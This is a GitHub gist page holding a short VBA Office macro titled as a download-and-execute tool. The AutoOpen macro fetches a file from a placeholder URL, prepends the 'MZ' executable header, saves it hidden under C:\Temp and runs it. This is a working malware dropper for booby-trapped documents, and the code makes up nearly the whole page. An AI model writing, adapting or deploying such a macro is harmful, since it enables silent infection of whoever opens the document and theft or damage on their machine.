Forked from nopslider/Download and Execute Office Macro
Created
October 3, 2017 06:07
-
-
Save johnjohny1990/06727c5ad663714ce53ba63692234cdc to your computer and use it in GitHub Desktop.
A short VBA macro to download and execute a file (patching the first two bytes of the file)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sub AutoOpen() | |
Const ADTYPEBINARY = 1 | |
Const ADSAVECREATEOVERWRITE = 2 | |
Dim xHttp | |
Dim bStrm | |
Dim filename | |
Set xHttp = CreateObject("Microsoft.XMLHTTP") | |
xHttp.Open "GET", "https://<DOMAIN>/<FILE>", False | |
xHttp.Send | |
Set gobjBinaryOutputStream = CreateObject("Adodb.Stream") | |
filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now()) | |
gobjBinaryOutputStream.Type = ADTYPEBINARY | |
gobjBinaryOutputStream.Open | |
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M") | |
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z") | |
gobjBinaryOutputStream.write xHttp.responseBody | |
gobjBinaryOutputStream.savetofile filename, ADSAVECREATEOVERWRITE | |
SetAttr filename, vbReadOnly + vbHidden + vbSystem | |
Shell (filename) | |
End Sub | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment